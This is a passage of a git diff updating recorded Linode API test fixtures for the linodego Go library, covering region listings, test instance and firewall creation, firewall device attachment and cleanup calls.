"Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": + "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], + "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, + 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, + 172.236.0.48", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, + 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +283,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:23 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -220,14 +310,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-7u8728nv5shn","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-12bwme87mh31","root_pass":"/5L5Tr3L{L,0j^v,~2HJv6J5KRHd3sp)8dyHh9]1eFo8A{VnnXZ!6:0]7|m.1*u!","image":"linode/debian9","booted":false}' form: {} headers: Accept: @@ -239,15 +329,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708340, "label": "go-test-ins-7u8728nv5shn", "group": "", "status": + body: '{"id": 60622698, "label": "go-test-ins-12bwme87mh31", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.217"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["192.46.213.14"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "da6015ef4054692cf89857eb70184aa148287a2c", "has_user_data": false}' + "285e9471b912df74a2b318bab58f5d6a0a1f8da8", "has_user_data": false, "placement_group": + null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +351,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "789" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -302,13 +397,14 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228230, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 600031, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -321,15 +417,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "526" + - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -344,14 +444,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"id":49708340,"type":"linode"}' + body: '{"id":60622698,"type":"linode"}' form: {} headers: Accept: @@ -360,12 +460,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228230/devices + url: https://api.linode.com/v4beta/networking/firewalls/600031/devices method: POST response: - body: '{"id": 485840, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "entity": {"id": 49708340, "type": "linode", "label": "go-test-ins-7u8728nv5shn", - "url": "/v4/linode/instances/49708340"}}' + body: '{"id": 1297445, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "entity": {"id": 60622698, "type": "linode", "label": "go-test-ins-12bwme87mh31", + "url": "/v4/linode/instances/60622698"}}' headers: Access-Control-Allow-Credentials: - "true" @@ -378,15 +478,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "205" + - "206" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -401,7 +505,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -417,12 +521,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228230/devices/485840 + url: https://api.linode.com/v4beta/networking/firewalls/600031/devices/1297445 method: GET response: - body: '{"id": 485840, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "entity": {"id": 49708340, "type": "linode", "label": "go-test-ins-7u8728nv5shn", - "url": "/v4/linode/instances/49708340"}}' + body: '{"id": 1297445, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "entity": {"id": 60622698, "type": "linode", "label": "go-test-ins-12bwme87mh31", + "url": "/v4/linode/instances/60622698"}}' headers: Access-Control-Allow-Credentials: - "true" @@ -435,16 +539,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "205" + - "206" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -460,7 +567,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -476,7 +583,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228230 + url: https://api.linode.com/v4beta/networking/firewalls/600031 method: DELETE response: body: '{}' @@ -492,15 +599,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:25 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -515,7 +626,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -531,7 +642,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708340 + url: https://api.linode.com/v4beta/linode/instances/60622698 method: DELETE response: body: '{}' @@ -547,15 +658,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:25 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -570,7 +685,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewallDevices_List.yaml b/test/integration/fixtures/TestFirewallDevices_List.yaml index 58dc6226b..e6e291e16 100644 --- a/test/integration/fixtures/TestFirewallDevices_List.yaml +++ b/test/integration/fixtures/TestFirewallDevices_List.yaml @@ -15,176 +15,262 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": + "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, + 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": 